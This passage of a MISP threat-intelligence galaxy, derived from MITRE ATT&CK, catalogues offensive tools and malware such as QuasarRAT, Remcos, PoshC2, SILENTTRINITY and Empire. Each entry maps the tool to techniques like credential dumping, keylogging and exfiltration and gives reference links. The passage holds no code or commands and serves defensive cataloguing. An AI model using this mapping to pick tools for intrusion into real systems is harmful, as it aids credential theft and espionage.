https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies
https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html

SDelete - S0195

[SDelete](https://attack.mitre.org/software/S0195) is an application that securely deletes data in a way that makes it unrecoverable. It is part of the Microsoft Sysinternals suite of tools. (Citation: Microsoft SDelete July 2016)

The tag is: *misp-galaxy:mitre-tool="SDelete - S0195"*

SDelete - S0195 is also known as:

- SDelete

View relationships graph

SDelete - S0195 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

Table 5775. Table References

Links
https://attack.mitre.org/software/S0195
https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete

MimiPenguin - S0179

[MimiPenguin](https://attack.mitre.org/software/S0179) is a credential dumper, similar to [Mimikatz](https://attack.mitre.org/software/S0002), designed specifically for Linux platforms. (Citation: MimiPenguin GitHub May 2017)

The tag is: *misp-galaxy:mitre-tool="MimiPenguin - S0179"*

MimiPenguin - S0179 is also known as:

- MimiPenguin

View relationships graph

MimiPenguin - S0179 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Proc Filesystem - T1003.007" with estimative-language:likelihood-probability="almost-certain"

Table 5776. Table References

Links
https://attack.mitre.org/software/S0179
https://github.com/huntergregal/mimipenguin

Havij - S0224

[Havij](https://attack.mitre.org/software/S0224) is an automatic SQL Injection tool distributed by the Iranian ITSecTeam security company. Havij has been used by penetration testers and adversaries. (Citation: Check Point Havij Analysis)

The tag is: *misp-galaxy:mitre-tool="Havij - S0224"*

View relationships graph

Havij - S0224 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 5777. Table References

Links

https://attack.mitre.org/software/S0224
https://blog.checkpoint.com/2015/05/14/analysis-havij-sql-injection-tool/

sqlmap - S0225

[sqlmap](https://attack.mitre.org/software/S0225) is an open source penetration testing tool that can be used to automate the process of detecting and exploiting SQL injection flaws. (Citation: sqlmap Introduction)

The tag is: *misp-galaxy:mitre-tool="sqlmap - S0225"*

View relationships graph

sqlmap - S0225 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 5778. Table References

Links
http://sqlmap.org/
https://attack.mitre.org/software/S0225

QuasarRAT - S0262

[QuasarRAT](https://attack.mitre.org/software/S0262) is an open-source, remote access tool that is publicly available on GitHub. [QuasarRAT](https://attack.mitre.org/software/S0262) is developed in the C# language. (Citation: GitHub QuasarRAT) (Citation: Volexity Patchwork June 2018)

The tag is: *misp-galaxy:mitre-tool="QuasarRAT - S0262"*

QuasarRAT - S0262 is also known as:

- QuasarRAT
- xRAT

View relationships graph

QuasarRAT - S0262 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

Table 5779. Table References

Links
https://attack.mitre.org/software/S0262
https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf
https://github.com/quasar/QuasarRAT
https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/
https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/

spwebmember - S0227

[spwebmember](https://attack.mitre.org/software/S0227) is a Microsoft SharePoint enumeration and data dumping tool written in .NET. (Citation: NCC Group APT15 Alive and Strong)

The tag is: *misp-galaxy:mitre-tool="spwebmember - S0227"*

spwebmember - S0227 is also known as:

- spwebmember

View relationships graph

spwebmember - S0227 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Sharepoint - T1213.002" with estimative-language:likelihood-probability="almost-certain"

Table 5780. Table References

Links
https://attack.mitre.org/software/S0227
https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/

Remcos - S0332

[Remcos](https://attack.mitre.org/software/S0332) is a closed-source tool that is marketed as a remote control and surveillance software by a company called Breaking Security. [Remcos](https://attack.mitre.org/software/S0332) has been observed being used in malware campaigns.(Citation: Riskiq Remcos Jan 2018)(Citation: Talos Remcos Aug 2018)

The tag is: *misp-galaxy:mitre-tool="Remcos - S0332"*

Remcos - S0332 is also known as:

- Remcos

View relationships graph

Remcos - S0332 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5781. Table References

Links
https://attack.mitre.org/software/S0332
https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html
https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html
https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/

PoshC2 - S0378

[PoshC2](https://attack.mitre.org/software/S0378) is an open source remote administration and post-exploitation framework that is publicly available on GitHub. The server-side components of the tool are primarily written in Python, while the implants are written in [PowerShell](https://attack.mitre.org/techniques/T1059/001). Although [PoshC2](https://attack.mitre.org/software/S0378) is primarily focused on Windows implantation, it does contain a basic Python dropper for Linux/macOS.(Citation: GitHub PoshC2)

The tag is: *misp-galaxy:mitre-tool="PoshC2 - S0378"*

PoshC2 - S0378 is also known as:

- PoshC2

View relationships graph

PoshC2 - S0378 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Create Process with Token - T1134.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Password Policy Discovery - T1201" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 5782. Table References

Links
https://attack.mitre.org/software/S0378
https://github.com/nettitude/PoshC2_Python

AdFind - S0552

[AdFind](https://attack.mitre.org/software/S0552) is a free command-line query tool that can be used for gathering information from Active Directory.(Citation: Red Canary Hospital Thwarted Ryuk October 2020)(Citation: FireEye FIN6 Apr 2019)(Citation: FireEye Ryuk and Trickbot January 2019)

The tag is: *misp-galaxy:mitre-tool="AdFind - S0552"*

AdFind - S0552 is also known as:

- AdFind

View relationships graph

AdFind - S0552 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

Table 5783. Table References

Links
https://attack.mitre.org/software/S0552
https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/
https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html
https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html

RemoteUtilities - S0592

[RemoteUtilities](https://attack.mitre.org/software/S0592) is a legitimate remote administration tool that has been used by [MuddyWater](https://attack.mitre.org/groups/G0069) since at least 2021 for execution on target machines.(Citation: Trend Micro Muddy Water March 2021)

The tag is: *misp-galaxy:mitre-tool="RemoteUtilities - S0592"*

RemoteUtilities - S0592 is also known as:

- RemoteUtilities

View relationships graph

RemoteUtilities - S0592 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5784. Table References

Links
https://attack.mitre.org/software/S0592
https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html

SILENTTRINITY - S0692

[SILENTTRINITY](https://attack.mitre.org/software/S0692) is an open source remote administration and post-exploitation framework primarily written in Python that includes stagers written in Powershell, C, and Boo. [SILENTTRINITY](https://attack.mitre.org/software/S0692) was used in a 2019 campaign against Croatian government agencies by unidentified cyber actors.(Citation: GitHub SILENTTRINITY March 2022)(Citation: Security Affairs SILENTTRINITY July 2019)

The tag is: *misp-galaxy:mitre-tool="SILENTTRINITY - S0692"*

SILENTTRINITY - S0692 is also known as:

- SILENTTRINITY

View relationships graph

SILENTTRINITY - S0692 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1021.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Distributed Component Object Model - T1021.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Group Policy Preferences - T1552.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Impair Command History Logging - T1562.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Change Default File Association - T1546.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="GUI Input Capture - T1056.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1546.015" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Credential Manager - T1555.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Authentication Process - T1556" with estimative-language:likelihood-probability="almost-certain"

Table 5785. Table References

Links
https://attack.mitre.org/software/S0692
https://github.com/byt3bl33d3r/SILENTTRINITY
https://securityaffairs.co/wordpress/88021/apt/croatia-government-silenttrinity-malware.html

Xbot - S0298

[Xbot](https://attack.mitre.org/software/S0298) is an Android malware family that was observed in 2016 primarily targeting Android users in Russia and Australia. (Citation: PaloAlto-Xbot)

The tag is: *misp-galaxy:mitre-tool="Xbot - S0298"*

Xbot - S0298 is also known as:

- Xbot

View relationships graph

Xbot - S0298 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="Xbot" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="TinyNuke" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Device Lockout - T1446" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1471" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:banker="TinyNuke" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"

Table 5786. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/02/new-android-trojan-xbot-phishes-credit-cards-and-bank-accounts-encrypts-devices-for-ransom/
https://attack.mitre.org/software/S0298

Empire - S0363

[Empire](https://attack.mitre.org/software/S0363) is an open source, cross-platform remote administration and post-exploitation framework that is publicly available on GitHub. While the tool itself is primarily written in Python, the post-exploitation agents are written in pure [PowerShell](https://attack.mitre.org/techniques/T1059/001) for Windows and Python for Linux/macOS. [Empire](https://attack.mitre.org/software/S0363) was one of five tools singled out by a joint report on public hacking tools being widely used by adversaries.(Citation: NCSC Joint Report Public Tools)(Citation: Github PowerShell Empire)(Citation: GitHub ATTACK Empire)

The tag is: *misp-galaxy:mitre-tool="Empire - S0363"*

Empire - S0363 is also known as:

- Empire
- EmPyre
- PowerShell Empire

View relationships graph

Empire - S0363 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Path Interception by PATH Environment Variable - T1574.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Group Policy Discovery - T1615" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Email Collection - T1114.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SSH - T1021.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Support Provider - T1547.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Path Interception by Search Order Hijacking - T1574.008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Group Policy Modification - T1484.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Browser Bookmark Discovery - T1217" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Create Process with Token - T1134.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Distributed Component Object Model - T1021.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1546.008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1136.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Golden Ticket - T1558.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Code Repository - T1567.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SID-History Injection - T1134.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"

* uses: misp-galaxy:mitre-attack-pattern="Path Interception by Unquoted Path - T1574.009" with estimative-language:likelihood-probability="almost-certain"
